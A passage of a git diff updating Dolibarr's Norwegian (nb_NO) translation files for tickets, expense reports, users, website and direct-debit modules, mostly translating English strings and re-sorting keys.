stengt - Réf %s (offentlig billett-ID %s) +TicketCloseEmailBodyAdmin=En billett med ID #%s har nettopp blitt stengt, se informasjon: TicketNotificationEmailSubject=Supportseddel%s oppdatert TicketNotificationEmailBody=Dette er en automatisk melding for å varsle deg om at billetten %s nettopp er oppdatert TicketNotificationRecipient=Meldingsmottaker @@ -346,7 +351,7 @@ BoxTicketLastXDays=Antall nye billetter etter dager de siste %s dagene BoxTicketLastXDayswidget = Antall nye billetter etter dager de siste X dagene BoxNoTicketLastXDays=Ingen nye billetter de siste %s dagene BoxNumberOfTicketByDay=Antall nye billetter etter dag -BoxNewTicketVSClose=Number of tickets versus closed tickets (today) +BoxNewTicketVSClose=Antall billetter kontra lukkede billetter (i dag) TicketCreatedToday=Billett opprettet i dag TicketClosedToday=Billetter lukket i dag -KMFoundForTicketGroup=We found topics and FAQs that may answers your question, thanks to check them before submitting the ticket +KMFoundForTicketGroup=Vi fant emner og vanlige spørsmål som kan svare på spørsmålet ditt, takk for at du sjekker dem før du sender inn billetten diff --git a/htdocs/langs/nb_NO/trips.lang b/htdocs/langs/nb_NO/trips.lang index cd875412e8b..eb9eae41925 100644 --- a/htdocs/langs/nb_NO/trips.lang +++ b/htdocs/langs/nb_NO/trips.lang @@ -1,150 +1,152 @@ # Dolibarr language file - Source file is en_US - trips -ShowExpenseReport=Vis utgiftsrapport -Trips=Reiseregninger -TripsAndExpenses=Reiseregninger -TripsAndExpensesStatistics=Reiseregninger - statistikk -TripCard=Skjema for reiseregninger +AUTHOR=Registrert av +AUTHORPAIEMENT=Betalt av AddTrip=Opprett reiseregning -ListOfTrips=Liste over reiseregninger -ListOfFees=Oversikt over avgifter -TypeFees=Avgiftstyper -ShowTrip=Vis utgiftsrapport -NewTrip=Ny reiseregning -LastExpenseReports=Siste %s utgiftsrapporter +AllExpenseReport=Alle typer kostnadsrapporter AllExpenseReports=Alle utgiftsrapporter -CompanyVisited=Selskap/organisasjon besøkt -FeesKilometersOrAmout=Beløp eller kilometer -DeleteTrip=Slett reiseregning -ConfirmDeleteTrip=Er du sikker på at du vil slette denne utgiftsrapporten? -ListTripsAndExpenses=Liste over reiseregninger -ListToApprove=Venter på godkjenning -ExpensesArea=Område for reiseregninger +AnyOtherInThisListCanValidate=Person som skal informeres for validering av forespørselen. +AttachTheNewLineToTheDocument=Fest linjen til et opplastet dokument +AucuneLigne=Ingen reiseregning er opprettet enda +BrouillonnerTrip=Endre reiseregning til "kladd" +byEX_DAY=etter dag (begrensning til %s) +byEX_EXP=etter linje (begrensning til %s) +byEX_MON=etter måned (begrensning til %s) +byEX_YEA=etter år (begrensning til %s) +CANCEL_USER=Slettet av +CarCategory=Kjøretøyskategori ClassifyRefunded=Klassifisert 'refundert' +CompanyVisited=Selskap/organisasjon besøkt +ConfirmBrouillonnerTrip=Er du sikker på at du vil endre status på denne utgiftsrapporten til "utkast"? +ConfirmCancelTrip=Er du sikker på at du vil kansellere denne utgiftsrapporten? +ConfirmCloneExpenseReport=Er du sikker på at du vil klone denne utgiftsrapporten? +ConfirmDeleteTrip=Er du sikker på at du vil slette denne utgiftsrapporten? +ConfirmPaidTrip=Er du sikker på at du vil endre status på denne utgiftsrapporten til "betalt"? +ConfirmRefuseTrip=Er du sikker på at du vil avvise denne utgiftsrapporten? +ConfirmSaveTrip=Er du sikker på at du vil validere denne utgiftsrapporten? +ConfirmValideTrip=Er du sikker på at du vil godkjenne denne utgiftsrapporten? +DATE_CANCEL=Kansellert dato +DATE_PAIEMENT=Betalt dato +DATE_REFUS=Avvist dato +DATE_SAVE=Godkjennelsesdato +DefaultCategoryCar=Standard transportmetode +DefaultRangeNumber=Standard område nummer +DeleteTrip=Slett reiseregning +ErrorDoubleDeclaration=Du har opprettet en annen reiseregning i overlappende tidsperiode +Error_EXPENSEREPORT_ADDON_NotDefined=Feil, regelen for utgiftsrapport-nummerering ref ble ikke definert i oppsett av modulen 'Utgiftsrapport' +ExpenseRangeOffset=Offset-beløp: %s +expenseReportCatDisabled=Kategori deaktivert - se c_exp_tax_cat ordbok +expenseReportCoef=Koeffisient +expenseReportCoefUndefined=(verdi ikke definert) +expenseReportOffset=Forskyvning +expenseReportPrintExample=offset + (d x coef) = %s +expenseReportRangeDisabled=Område deaktivert - se c_exp_tax_range bibliotek +expenseReportRangeFromTo=fra %d til %d +expenseReportRangeMoreThan=mer enn %d +expenseReportTotalForFive=Eksempel med d = 5 +ExpenseReportApplyTo=Gjelder +ExpenseReportApproved=En utgiftsrapport ble godkjent +ExpenseReportApprovedMessage=Utgiftsrapporten %s ble godkjent.
      - Bruker: %s
      - Godkjent av: %s
      Klikk her for å vise utgiftsrapporten: %s +ExpenseReportCanceled=En utgiftsrapport ble kansellert +ExpenseReportCanceledMessage=Utgiftsrapporten %s ble kansellert.
      - Bruker: %s
      - Avlyst av: %s
      - Årsak til kansellering: %s
      Klikk her for å vise utgiftsrapporten: %s +ExpenseReportConstraintViolationError=Maks beløp overskredet (regel %s): %s er høyere enn %s (overskridelse forbudt) +ExpenseReportConstraintViolationWarning=Maks beløp overskredet (regel %s): %s er høyere enn %s (overskridelse autorisert) +ExpenseReportDateEnd=Utløpsdato +ExpenseReportDateStart=Startdato +ExpenseReportDomain=Domenet skal gjelde +ExpenseReportIkDesc=Du kan endre beregningen av kilometerkostnad etter kategori og rekkevidde etter slik de tidligere er definert. d er avstanden i kilometer +ExpenseReportLimitAmount=Maks beløp +ExpenseReportLimitOn=Beløpsgrense på +ExpenseReportLine=Linje i reiseregningen +ExpenseReportPaid=En utgiftsrapport ble betalt +ExpenseReportPaidMessage=Utgiftsrapporten %s er betalt.
      - Bruker: %s
      - Betalt av: %s
      Klikk her for å vise utgiftsrapporten: %s +ExpenseReportPayment=Betaling av utgiftsrapport +ExpenseReportRef=Ref. utgiftsrapport +ExpenseReportRefused=En utgiftsrapport ble avvist +ExpenseReportRefusedMessage=Utgiftsrapporten %s ble avvist.
      - Bruker: %s
      - Avvist av: %s
      - Årsak til avvisning: %s
      Klikk her for å vise utgiftsrapporten: %s +ExpenseReportRestrictive=Overskridelse forbudt +ExpenseReportRuleErrorOnSave=Feil: %s +ExpenseReportRuleSave=Utgiftsrapportregel lagret +ExpenseReportRulesDesc=Du kan definere maksbeløpsregler for utgiftsrapporter. Disse reglene vil bli brukt når en ny utgift legges til en utgiftsrapport ExpenseReportWaitingForApproval=En ny reiseregning er sendt inn for godkjenning ExpenseReportWaitingForApprovalMessage=En ny kostnadsrapport er sendt og venter på godkjenning.
      - Bruker: %s
      - Periode: %s
      Klikk her for å validere: %s ExpenseReportWaitingForReApproval=En utgiftsrapport er blitt sendt inn for ny godkjenning ExpenseReportWaitingForReApprovalMessage=En kostnadsrapport er sendt og venter på re-godkjenning.
      %s, du nektet å godkjenne kostnadsrapporten av denne årsak: %s.
      En ny versjon har blitt foreslått og venter på godkjenning.
      - Bruker: %s
      - Periode: %s
      Klikk her for å validere: %s -ExpenseReportApproved=En utgiftsrapport ble godkjent -ExpenseReportApprovedMessage=Utgiftsrapporten %s ble godkjent.
      - Bruker: %s
      - Godkjent av: %s
      Klikk her for å vise utgiftsrapporten: %s -ExpenseReportRefused=En utgiftsrapport ble avvist -ExpenseReportRefusedMessage=Utgiftsrapporten %s ble avvist.
      - Bruker: %s
      - Avvist av: %s
      - Årsak til avvisning: %s
      Klikk her for å vise utgiftsrapporten: %s -ExpenseReportCanceled=En utgiftsrapport ble kansellert -ExpenseReportCanceledMessage=Utgiftsrapporten %s ble kansellert.
      - Bruker: %s
      - Avlyst av: %s
      - Årsak til kansellering: %s
      Klikk her for å vise utgiftsrapporten: %s -ExpenseReportPaid=En utgiftsrapport ble betalt -ExpenseReportPaidMessage=Utgiftsrapporten %s er betalt.
      - Bruker: %s
      - Betalt av: %s
      Klikk her for å vise utgiftsrapporten: %s -TripId=Reiseregnings - ID -AnyOtherInThisListCanValidate=Person som skal informeres for validering av forespørselen. -TripSociete=Firmainformasjon -TripNDF=Informasjon om reiseregning -PDFStandardExpenseReports=Standardmal for å generere PDF av reiseregning -ExpenseReportLine=Linje i reiseregningen -TF_OTHER=Annet -TF_TRIP=Transport -TF_LUNCH=Lunsj -TF_METRO=Trikk/bybane -TF_TRAIN=Tog -TF_BUS=Buss -TF_CAR=Bil -TF_PEAGE=Toll -TF_ESSENCE=Drivstoff -TF_HOTEL=Hotell -TF_TAXI=Taxi -EX_KME=Kilometerkostnader -EX_FUE=Drivstoff CV -EX_HOT=Hotell -EX_PAR=Parkering CV -EX_TOL=Toll CV -EX_TAX=Ulike avgifter -EX_IND=Betingelse for transportabonnement -EX_SUM=Vedlikeholdsforsyning -EX_SUO=Kontorrekvisita -EX_CAR=Bilutleie -EX_DOC=Dokumentasjon -EX_CUR=Kunder mottar -EX_OTR=Andre ytelser -EX_POS=Porto -EX_CAM=CV vedlikehold og reparasjon -EX_EMM=Ansatte måltid -EX_GUM=Gjestemåltid -EX_BRE=Frokost -EX_FUE_VP=Drivstoff PV -EX_TOL_VP=Toll PV -EX_PAR_VP=Parkering PV -EX_CAM_VP=PV vedlikehold og reparasjon -DefaultCategoryCar=Standard transportmetode -DefaultRangeNumber=Standard område nummer -UploadANewFileNow=Last opp et nytt dokument nå -Error_EXPENSEREPORT_ADDON_NotDefined=Feil, regelen for utgiftsrapport-nummerering ref ble ikke definert i oppsett av modulen 'Utgiftsrapport' -ErrorDoubleDeclaration=Du har opprettet en annen reiseregning i overlappende tidsperiode -AucuneLigne=Ingen reiseregning er opprettet enda -ModePaiement=Betalingsmåte -VALIDATOR=Bruker som er ansvarlig for godkjenning -VALIDOR=Godkjent av -AUTHOR=Registrert av -AUTHORPAIEMENT=Betalt av -REFUSEUR=Avvist av -CANCEL_USER=Slettet av -MOTIF_REFUS=Grunn -MOTIF_CANCEL=Grunn -DATE_REFUS=Avvist dato -DATE_SAVE=Godkjennelsesdato -DATE_CANCEL=Kansellert dato -DATE_PAIEMENT=Betalt dato -ExpenseReportRef=Ref. utgiftsrapport -ValidateAndSubmit=Valider og send til godkjenning -ValidatedWaitingApproval=Validert (venter på godkjenning) -NOT_AUTHOR=Reiseregningener ikke opprettet av deg. Operasjonen avbrutt. -ConfirmRefuseTrip=Er du sikker på at du vil avvise denne utgiftsrapporten? -ValideTrip=Godkjenn reiseregning -ConfirmValideTrip=Er du sikker på at du vil godkjenne denne utgiftsrapporten? -PaidTrip=Betal en reiseregning -ConfirmPaidTrip=Er du sikker på at du vil endre status på denne utgiftsrapporten til "betalt"? -ConfirmCancelTrip=Er du sikker på at du vil kansellere denne utgiftsrapporten? -BrouillonnerTrip=Endre reiseregning til "kladd" -ConfirmBrouillonnerTrip=Er du sikker på at du vil endre status på denne utgiftsrapporten til "utkast"? -SaveTrip=Valider reiseregning -ConfirmSaveTrip=Er du sikker på at du vil validere denne utgiftsrapporten? -NoTripsToExportCSV=Ingen reiseregning å eksportere for denne perioden -ExpenseReportPayment=Betaling av utgiftsrapport -ExpenseReportsToApprove=Utgiftsrapporter for godkjenning -ExpenseReportsToPay=Utgiftsrapport å betale -ConfirmCloneExpenseReport=Er du sikker på at du vil klone denne utgiftsrapporten? ExpenseReportsIk=Konfigurasjon av kjøregodtgjørelser ExpenseReportsRules=Utgifts-rapportregler -ExpenseReportIkDesc=Du kan endre beregningen av kilometerkostnad etter kategori og rekkevidde etter slik de tidligere er definert. d er avstanden i kilometer -ExpenseReportRulesDesc=You can define max amount rules for expense reports. These rules will be applied when a new expense is added to an expense report -expenseReportOffset=Forskyvning -expenseReportCoef=Koeffisient -expenseReportTotalForFive=Eksempel med d = 5 -expenseReportRangeFromTo=fra %d til %d -expenseReportRangeMoreThan=mer enn %d -expenseReportCoefUndefined=(verdi ikke definert) -expenseReportCatDisabled=Kategori deaktivert - se c_exp_tax_cat ordbok -expenseReportRangeDisabled=Område deaktivert - se c_exp_tax_range bibliotek -expenseReportPrintExample=offset + (d x coef) = %s -ExpenseReportApplyTo=Gjelder -ExpenseReportDomain=Domenet skal gjelde -ExpenseReportLimitOn=Beløpsgrense på -ExpenseReportDateStart=Startdato -ExpenseReportDateEnd=Utløpsdato -ExpenseReportLimitAmount=Maks beløp -ExpenseReportRestrictive=Overskridelse forbudt -AllExpenseReport=Alle typer kostnadsrapporter -OnExpense=Utgiftslinje -ExpenseReportRuleSave=Utgiftsrapportregel lagret -ExpenseReportRuleErrorOnSave=Feil: %s -RangeNum=Område %d -ExpenseReportConstraintViolationError=Max amount exceeded (rule %s): %s is higher than %s (Exceeding forbidden) -byEX_DAY=etter dag (begrensning til %s) -byEX_MON=etter måned (begrensning til %s) -byEX_YEA=etter år (begrensning til %s) -byEX_EXP=etter linje (begrensning til %s) -ExpenseReportConstraintViolationWarning=Max amount exceeded (rule %s): %s is higher than %s (Exceeding authorized) +ExpenseReportsToApprove=Utgiftsrapporter for godkjenning +ExpenseReportsToPay=Utgiftsrapport å betale +ExpensesArea=Område for reiseregninger +FeesKilometersOrAmout=Beløp eller kilometer +LastExpenseReports=Siste %s utgiftsrapporter +ListOfFees=Oversikt over avgifter +ListOfTrips=Liste over reiseregninger +ListToApprove=Venter på godkjenning +ListTripsAndExpenses=Liste over reiseregninger +MOTIF_CANCEL=Grunn +MOTIF_REFUS=Grunn +ModePaiement=Betalingsmåte +NewTrip=Ny reiseregning nolimitbyEX_DAY=etter dag (ingen begrensning) +nolimitbyEX_EXP=etter linje (ingen begrensning) nolimitbyEX_MON=etter måned (ingen begrensning) nolimitbyEX_YEA=etter år (ingen begrensning) -nolimitbyEX_EXP=etter linje (ingen begrensning) -CarCategory=Kjøretøyskategori -ExpenseRangeOffset=Offset-beløp: %s +NoTripsToExportCSV=Ingen reiseregning å eksportere for denne perioden +NOT_AUTHOR=Reiseregningener ikke opprettet av deg. Operasjonen avbrutt. +OnExpense=Utgiftslinje +PDFStandardExpenseReports=Standardmal for å generere PDF av reiseregning +PaidTrip=Betal en reiseregning +REFUSEUR=Avvist av RangeIk=Kilometerstand -AttachTheNewLineToTheDocument=Fest linjen til et opplastet dokument +RangeNum=Område %d +SaveTrip=Valider reiseregning +ShowExpenseReport=Vis utgiftsrapport +ShowTrip=Vis utgiftsrapport +TripCard=Skjema for reiseregninger +TripId=Reiseregnings - ID +TripNDF=Informasjon om reiseregning +TripSociete=Firmainformasjon +Trips=Reiseregninger +TripsAndExpenses=Reiseregninger +TripsAndExpensesStatistics=Reiseregninger - statistikk +TypeFees=Avgiftstyper +UploadANewFileNow=Last opp et nytt dokument nå +VALIDATOR=Bruker som er ansvarlig for godkjenning +VALIDOR=Godkjent av +ValidateAndSubmit=Valider og send til godkjenning +ValidatedWaitingApproval=Validert (venter på godkjenning) +ValideTrip=Godkjenn reiseregning + +## Dictionary +EX_BRE=Frokost +EX_CAM=CV vedlikehold og reparasjon +EX_CAM_VP=PV vedlikehold og reparasjon +EX_CAR=Bilutleie +EX_CUR=Kunder mottar +EX_DOC=Dokumentasjon +EX_EMM=Ansatte måltid +EX_FUE=Drivstoff CV +EX_FUE_VP=Drivstoff PV +EX_GUM=Gjestemåltid +EX_HOT=Hotell +EX_IND=Betingelse for transportabonnement +EX_KME=Kilometerkostnader +EX_OTR=Andre ytelser +EX_PAR=Parkering CV +EX_PAR_VP=Parkering PV +EX_POS=Porto +EX_SUM=Vedlikeholdsforsyning +EX_SUO=Kontorrekvisita +EX_TAX=Ulike avgifter +EX_TOL=Toll CV +EX_TOL_VP=Toll PV +TF_BUS=Buss +TF_CAR=Bil +TF_ESSENCE=Drivstoff +TF_HOTEL=Hotell +TF_LUNCH=Lunsj +TF_METRO=Trikk/bybane +TF_OTHER=Annet +TF_PEAGE=Toll +TF_TAXI=Taxi +TF_TRAIN=Tog +TF_TRIP=Transport diff --git a/htdocs/langs/nb_NO/users.lang b/htdocs/langs/nb_NO/users.lang index a0d3fd0d0d7..b16e59c4268 100644 --- a/htdocs/langs/nb_NO/users.lang +++ b/htdocs/langs/nb_NO/users.lang @@ -47,7 +47,7 @@ RemoveFromGroup=Fjern fra gruppe PasswordChangedAndSentTo=Passordet er endret og sendt til %s. PasswordChangeRequest=Be om å endre passord for %s PasswordChangeRequestSent=Anmodning om å endre passordet for %s er sendt til %s. -IfLoginExistPasswordRequestSent=Hvis denne påloggingen er en gyldig konto, er det sendt en e-post for å tilbakestille passordet. +IfLoginExistPasswordRequestSent=Hvis denne påloggingen er en gyldig konto (med en gyldig e-post), er det sendt en e-post for å tilbakestille passord. IfEmailExistPasswordRequestSent=Hvis denne e-postadressen er en gyldig konto, er det sendt en e-post for å tilbakestille passordet. ConfirmPasswordReset=Bekreft tilbakestilling av passord MenuUsersAndGroups=Brukere og grupper @@ -66,14 +66,14 @@ LinkedToDolibarrUser=Link til bruker LinkedToDolibarrThirdParty=Link til tredjepart CreateDolibarrLogin=Lag Dolibarrkonto CreateDolibarrThirdParty=Lag en tredjepart -LoginAccountDisableInDolibarr=Kontoen er deaktivert i Dolibarr. +LoginAccountDisableInDolibarr=Konto deaktivert i Dolibarr +PASSWORDInDolibarr=Passord endret i Dolibarr UsePersonalValue=Bruk personlig verdi -InternalUser=Intern bruker ExportDataset_user_1=Brukere og deres egenskaper DomainUser=Domenebruker %s Reactivate=Reaktiver CreateInternalUserDesc=Dette skjemaet gir deg mulighet til å opprette en intern bruker til din bedrift/organisasjon. For å opprette en ekstern bruker (kunde, leverandør, ...), bruk knappen "Opprett Dolibarr-bruker" fra tredjeparts kontaktkort. -InternalExternalDesc=An internal user is a user that is part of your company/organization, or is a partner user outside of your organization that may need to see more data than data related to his company (the permission system will define what he can or can't see or do).
      An external user is a customer, vendor or other that must view ONLY data related to himself (Creating an external user for a third-party can be done from the contact record of the third-party).

      In both cases, you must grant permissions on the features that the user need. +InternalExternalDesc=En intern -bruker er en bruker som er en del av din bedrift/organisasjon, eller er en partnerbruker utenfor din organisasjon som kan trenge å se mer data enn data relatert til hans firma (tillatelsessystemet vil definere hva han kan eller kan ikke se eller gjøre).
      En ekstern -bruker er en kunde, leverandør eller annet som KUN må se data relatert til seg selv (Opprette en ekstern bruker for en tredjepart kan gjøres fra kontaktposten til tredjeparten).

      I begge tilfeller må du gi tillatelser til funksjonene som brukeren trenger. PermissionInheritedFromAGroup=Rettigheter innvilget fordi de er arvet av en brukegruppe. Inherited=Arvet UserWillBe=Opprettet bruker vil være @@ -97,7 +97,7 @@ LoginToCreate=Brukernavn å opprette NameToCreate=Navn på tredjepart til å lage YourRole=Dine roller YourQuotaOfUsersIsReached=Din kvote på aktive brukere er nådd! -NbOfUsers=Number of users +NbOfUsers=Antall brukere NbOfPermissions=Antall permisjoner DontDowngradeSuperAdmin=Bare en superadmin kan nedgradere en superadmin HierarchicalResponsible=Veileder @@ -116,7 +116,7 @@ DateOfEmployment=Ansettelsesdato DateEmployment=Arbeid DateEmploymentStart=Ansettelse startdato DateEmploymentEnd=Ansettelse sluttdato -RangeOfLoginValidity=Access validity date range +RangeOfLoginValidity=Adgang til gyldig datoperiode CantDisableYourself=Du kan ikke deaktivere din egen brukeroppføring ForceUserExpenseValidator=Tvunget utgiftsrapport-validator ForceUserHolidayValidator=Tvunget friforespørsel-validator @@ -124,7 +124,11 @@ ValidatorIsSupervisorByDefault=Som standard er validatoren veileder for brukeren UserPersonalEmail=Privat e-post UserPersonalMobile=Privat mobil WarningNotLangOfInterface=Advarsel, dette er hovedspråket brukeren snakker, ikke språket i grensesnittet han valgte å se. For å endre grensesnittets språk som er synlig for denne brukeren, gå til fanen %s -DateLastLogin=Date last login -DatePreviousLogin=Date previous login -IPLastLogin=IP last login -IPPreviousLogin=IP previous login +DateLastLogin=Dato siste pålogging +DatePreviousLogin=Dato forrige pålogging +IPLastLogin=IP siste pålogging +IPPreviousLogin=IP forrige pålogging +ShowAllPerms=Vis alle tillatelsesrader +HideAllPerms=Skjul alle tillatelsesrader +UserPublicPageDesc=Du kan aktivere et virtuelt kort for denne brukeren. En url med brukerprofilen og en strekkode vil være tilgjengelig slik at alle med en smarttelefon kan skanne den og legge til kontakten din i adresseboken. +EnablePublicVirtualCard=Aktiver det offentlige virtuelle brukerkortet diff --git a/htdocs/langs/nb_NO/website.lang b/htdocs/langs/nb_NO/website.lang index 4003a18b648..c1f69b5a7dc 100644 --- a/htdocs/langs/nb_NO/website.lang +++ b/htdocs/langs/nb_NO/website.lang @@ -1,5 +1,6 @@ # Dolibarr language file - Source file is en_US - website Shortname=Kode +WebsiteName=Navn på nettstedet WebsiteSetupDesc=Opprett de nettstedene du ønsker å bruke her. Deretter går du inn i meny Nettsteder for å redigere dem. DeleteWebsite=Slett wedside ConfirmDeleteWebsite=Er du sikker på at du vil slette dette nettstedet? Alle sidene og innholdet blir også fjernet. Filene som er lastet opp (som i mediekatalogen, ECM-modulen, ...) vil ikke slettes. @@ -15,9 +16,9 @@ WEBSITE_HTML_HEADER=Tillegg nederst på HTML-header(felles for alle sider) WEBSITE_ROBOT=Robotfil (robots.txt) WEBSITE_HTACCESS=Nettstedets .htaccess-fil WEBSITE_MANIFEST_JSON=Nettstedets manifest.json-fil -WEBSITE_README=README.md-fil WEBSITE_KEYWORDSDesc=Bruk et komma for å skille verdier -EnterHereLicenseInformation=Skriv inn metadata eller lisensinformasjon for å arkivere en README.md-fil. Hvis du distribuerer nettstedet ditt som en mal, vil filen bli inkludert i mal-pakken. +EnterHereReadmeInformation=Skriv inn en beskrivelse av nettsiden her. Hvis du distribuerer nettstedet ditt som en mal, vil filen bli inkludert i mal-pakken. +EnterHereLicenseInformation=Skriv inn LISENSEN til koden til nettstedet her. Hvis du distribuerer nettstedet ditt som en mal, vil filen bli inkludert i mal-pakken. HtmlHeaderPage=HTML-header (kun for denne siden) PageNameAliasHelp=Navn eller alias på siden.
      Dette aliaset brukes også til å lage en SEO-URL når nettsiden blir kjørt fra en virtuell vert til en webserver (som Apacke, Nginx, ...). Bruk knappen "%s" for å redigere dette aliaset. EditTheWebSiteForACommonHeader=Merk: Hvis du vil definere en personlig topptekst for alle sider, redigerer du overskriften på nettstedsnivå i stedet for på siden/containeren. @@ -31,7 +32,7 @@ AddWebsite=Legg til nettside Webpage=Nettsted/container AddPage=Legg til side/container PageContainer=Side -PreviewOfSiteNotYetAvailable=The preview of your website %s is not yet available. You must first 'Import a full website template' or just 'Add a page/container'. +PreviewOfSiteNotYetAvailable=Forhåndsvisningen av nettstedet ditt %s er ikke tilgjengelig ennå. Du må først ' Importere en fullstendig nettstedsmal ' eller bare ' Legg til en side/beholder '. RequestedPageHasNoContentYet=Forespurt side med id %s har ikke noe innhold enda, eller cachefilen .tpl.php ble fjernet. Rediger innhold på siden for å løse dette. SiteDeleted=Nettstedet '%s' slettet PageContent=Side/Container @@ -42,10 +43,12 @@ ViewPageInNewTab=Vis side i ny fane SetAsHomePage=Sett som startside RealURL=Virkelig URL ViewWebsiteInProduction=Vis webside ved hjelp av hjemme-URL +Virtualhost=Virtuell vert eller domenenavn +VirtualhostDesc=Navnet på den virtuelle verten eller domenet (for eksempel: www.mywebsite.com, mybigcompany.net, ...) SetHereVirtualHost=Bruk med Apache/NGinx/...
      Opprett på webserveren din (Apache, Nginx, ...) en dedikert virtuell vert med PHP aktivert og en rotkatalog på
      %s ExampleToUseInApacheVirtualHostConfig=Eksempel på Apache virtuelt vertsoppsett: YouCanAlsoTestWithPHPS=  Bruk med PHP-innebygd server
      I utviklingsmiljø kan du foretrekke å teste nettstedet med PHP-innebygd webserver (PHP 5.5 nødvendig) ved å kjøre
      php -S 0.0.0.0:8080 -t %s -YouCanAlsoDeployToAnotherWHP=Kjør nettstedet ditt med en annen leverandør av Dolibarr Hosting
      Hvis du ikke har en webserver som Apache eller NGinx tilgjengelig på internett, kan du eksportere og importere nettstedet til en annen Dolibarr-forekomst levert av en annen Dolibarr-leverandør som gir full integrasjon med nettstedsmodulen. Du kan finne en liste over noen Dolibarr-vertsleverandører på https://saas.dolibarr.org +YouCanAlsoDeployToAnotherWHP= Kjør nettstedet ditt med en annen Dolibarr-vertsleverandør
      Hvis du ikke har en nettserver som Apache eller NGinx tilgjengelig på internett, kan du \neksportere og importere nettstedet ditt til en annen Dolibarr-instans levert av en annen Dolibarr-vertsleverandør som gir full integrasjon med nettstedsmodulen. Du kan finne en liste over noen Dolibarr-vertsleverandører på https://saas.dolibarr.org3 CheckVirtualHostPerms=Sjekk også at den virtuelle vertsbrukeren (for eksempel www-data) har %s tillatelser på filer i
      %s ReadPerm=Les WritePerm=Skriv @@ -60,7 +63,7 @@ YouCanEditHtmlSourceckeditor=Du kan redigere HTML kildekode ved hjelp av "Kilde" YouCanEditHtmlSource=
      Du kan inkludere PHP kode i denne kilden ved hjelp av tags <?php ?>. Følgende globale variabler er tilgjengelige: $conf, $db, $mysoc, $user, $website, $websitepage, $weblangs, $pagelangs.

      Du kan også inkludere innhold fra en annen side/container med følgende syntaks:
      <?php includeContainer('alias_of_container_to_include'); ?>

      Du kan omdirigere til en annen side/container med følgende syntaks (NB: ikke legg ut noe innhold før en omdirigering):
      <?php redirectToContainer('alias_of_container_to_redirect_to'); ?>

      For å opprette en kobling til en annen side, bruk syntaksen:
      <a href="alias_of_page_to_link_to.php">mylink<a>

      For å inkludere en nedlastningslink til en fil i dokumenter mappen, bruk document.php pakkeren:
      Eksempel, for en fil i documents/ecm (need to be loggedmå logges, er syntaksen:
      <a href="/document.php?modulepart=ecm&file=[relative_dir/]filename.ext">
      For en fil i documents/medias (åpen mappe for offentlig tilgang), er syntaksen:
      <a href="/document.php?modulepart=medias&file=[relative_dir/]filename.ext">
      For en fil delt via en delingskobling (åpen tilgang ved bruk av deling av filens hash-nøkkel), er syntaksen:
      <a href="/document.php?hashp=publicsharekeyoffile">

      For å inkludere et bilde lagret i dokumenter mappen, bruk viewimage.php pakkeren:
      Eksempel, for et bilde i documents/medias (åpen mappe for offentlig tilgang), er syntaksen:
      <img src="/viewimage.php?modulepart=medias&file=[relative_dir/]filename.ext">
      #YouCanEditHtmlSource2=
      To include a image shared publicaly, use the viewimage.php wrapper:
      Example with a shared key 123456789, syntax is:
      <img src="/viewimage.php?hashp=12345679012...">
      YouCanEditHtmlSource2=For et bilde som deles med en delekobling (åpen tilgang ved hjelp av delings-hash-nøkkelen til filen), er syntaksen:
      <img src="/viewimage.php?hashp=12345679012...">
      -YouCanEditHtmlSourceMore=
      Flere eksempler på HTML eller dynamisk kode tilgjengelig på wiki-dokumentasjonen
      . +YouCanEditHtmlSourceMore=
      Flere eksempler på HTML eller dynamisk kode tilgjengelig på wikidokumentasjonen
      . ClonePage=Klon side/container CloneSite=Klon side SiteAdded=Nettsted lagt til @@ -137,11 +140,20 @@ PagesRegenerated=%s side(r)/container(e) regenerert RegenerateWebsiteContent=Regenerer cache-filer på nettstedet AllowedInFrames=Tillatt i frames DefineListOfAltLanguagesInWebsiteProperties=Definer liste over alle tilgjengelige språk i nettstedsegenskaper. -GenerateSitemaps=Generate website sitemap file -ConfirmGenerateSitemaps=If you confirm, you will erase the existing sitemap file... -ConfirmSitemapsCreation=Confirm sitemap generation -SitemapGenerated=Sitemap file %s generated +GenerateSitemaps=Generer nettstedets sitemap.xml-fil +ConfirmGenerateSitemaps=Hvis du bekrefter, vil du slette den eksisterende sitemap-filen... +ConfirmSitemapsCreation=Bekreft generering av sitemap +SitemapGenerated=Sitemap-fil %s generert ImportFavicon=Favicon -ErrorFaviconType=Favicon must be png -ErrorFaviconSize=Favicon must be sized 16x16, 32x32 or 64x64 -FaviconTooltip=Upload an image which needs to be a png (16x16, 32x32 or 64x64) +ErrorFaviconType=Favicon må være png +ErrorFaviconSize=Favicon må ha størrelsen 16x16, 32x32 eller 64x64 +FaviconTooltip=Last opp et bilde som må være en png (16x16, 32x32 eller 64x64) +NextContainer=Neste side/beholder +PreviousContainer=Forrige side/beholder +WebsiteMustBeDisabled=Nettstedet må ha statusen "%s" +WebpageMustBeDisabled=Nettsiden må ha statusen "%s" +SetWebsiteOnlineBefore=Når nettstedet er frakoblet, er alle sidene offline. Endre status på nettstedet først. +Booking=Bestilling +Reservation=Reservasjon +PagesViewedPreviousMonth=Sider vist (forrige måned) +PagesViewedTotal=Viste sider (totalt) diff --git a/htdocs/langs/nb_NO/withdrawals.lang b/htdocs/langs/nb_NO/withdrawals.lang index 9e291c192bf..d2d34607bf1 100644 --- a/htdocs/langs/nb_NO/withdrawals.lang +++ b/htdocs/langs/nb_NO/withdrawals.lang @@ -31,8 +31,9 @@ SupplierInvoiceWaitingWithdraw=Leverandørfaktura som venter på betaling med kr InvoiceWaitingWithdraw=Faktura som venter på direktedebet InvoiceWaitingPaymentByBankTransfer=Faktura venter på kreditoverføring AmountToWithdraw=Beløp å tilbakekalle +AmountToTransfer=Beløp som skal overføres NoInvoiceToWithdraw=Ingen faktura åpen for '%s' venter. Gå til fanen '%s' på fakturakortet for å gjøre en forespørsel. -NoSupplierInvoiceToWithdraw=Ingen leverandørfaktura med åpne 'Direkte kredittforespørsler' venter. Gå til fanen '%s' på fakturakortet for å sende en forespørsel. +NoSupplierInvoiceToWithdraw=Ingen leverandørfaktura med åpen '%s' venter. Gå til fanen '%s' på fakturakortet for å gjøre en forespørsel. ResponsibleUser=Brukeransvarlig WithdrawalsSetup=Oppsett av direktedebetsbetalinger CreditTransferSetup=Oppsett av kredittoverføring @@ -41,6 +42,7 @@ CreditTransferStatistics=Kredittoverføringsstatistikk Rejects=Avvisninger LastWithdrawalReceipt=Siste %s direktedebetskvitteringer MakeWithdrawRequest=Foreta en direktedebet betalingsforespørsel +MakeWithdrawRequestStripe=Foreta en forespørsel om direkte belastning via Stripe MakeBankTransferOrder=Opprett en forespørsel om kreditoverføring WithdrawRequestsDone=%s direktedebet-betalingforespørsler registrert BankTransferRequestsDone=%s forespørsler om 